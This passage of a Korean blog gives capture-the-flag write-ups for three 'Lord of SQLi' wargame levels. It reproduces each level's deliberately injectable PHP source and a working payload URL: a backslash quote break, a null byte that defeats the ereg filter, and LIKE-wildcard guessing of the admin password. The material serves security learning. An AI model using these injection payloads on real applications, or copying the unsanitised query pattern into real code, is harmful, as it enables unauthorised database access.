<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

$_GET[id], $_GET[pw] 필터
/prob
_
.
()
'

\를 필터로 안막았다. 따라서 ?id=\로 입력하면 쿼터를 망가뜨릴 수 있다.
?id=\&pw=or%201=1%23 하면 id='\'&pw='or%201=1%23' 이런식으로 되고 다음과 같이 쿼리가 완성된다.
query : select id from prob_succubus where id='rap1er\' and pw='or 1=1#'

https://los.eagle-jump.org/succubus_8ab2d195be2e0b10a3b5aa2873d0863f.php?id=rap1er\&pw=or%201=1%23



'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] nightmare :: auto type cast  (0) 2018.09.18
[los] zombie_assassin  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@ereg("'",$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>


$_GET[id], $_GET[pw] 필터

\
prob
_
.
()
싱글쿼터(')

ereg 함수 취약점을 이용해 우회


https://los.eagle-jump.org/zombie_assassin_14dfa83153eb348c4aea012d453e9c8a.php?id=%00%27or%201=1%23


'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] nightmare :: auto type cast  (0) 2018.09.18
[los] succubus  (0) 2018.09.17
[los] assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>

$_GET[pw] 필터
싱글쿼터(')

SELECT id FROM prob_assassin WHERE pw like ''
$result[id] == 'admin' 이면 된다.

like 는 %, _가 특수 기능을 한다.
%는 0 또는 1개 이상의 모든 문자에 일치
_는 정확히 1개의 문자에 일치

따라서 WHERE pw like '%X%' x에 임의 값 0-9, a-f 까지 입력했지만 GUEST만 출력됐다.
따라서 GUEST 레코드가 위에 있으므로 계속해서 GUEST가 출력되게 비밀번호를 하나하나 맞추니까
다음과 같을 때 Hello admin 이 출력됐다.

https://los.eagle-jump.org/assassin_bec1c90a48bc3a9f95fbf0c8ae8c88e1.php?pw=832%25

처음에 like 의 반대를 의미하는 것을 쓰면 되겠다. 했지만 쿼터 사이에 묶여 있으므로 ...
위와 같은 게싱방식으로 품.
문득 드는 생각인데 내장함수 또는 (, ) 가 필터됐을 경우 이런식으로 Blind SQL 인젝션 할 수 있겠다

'WEB Hacking > Lord of SQLi' 카테고리의 다른 글

[los] succubus  (0) 2018.09.17
[los] zombie_assassin  (0) 2018.09.17
[los] giant  (0) 2018.09.17
[los] bugbear  (0) 2018.09.17
[los] troll  (0) 2018.09.16

+ Recent posts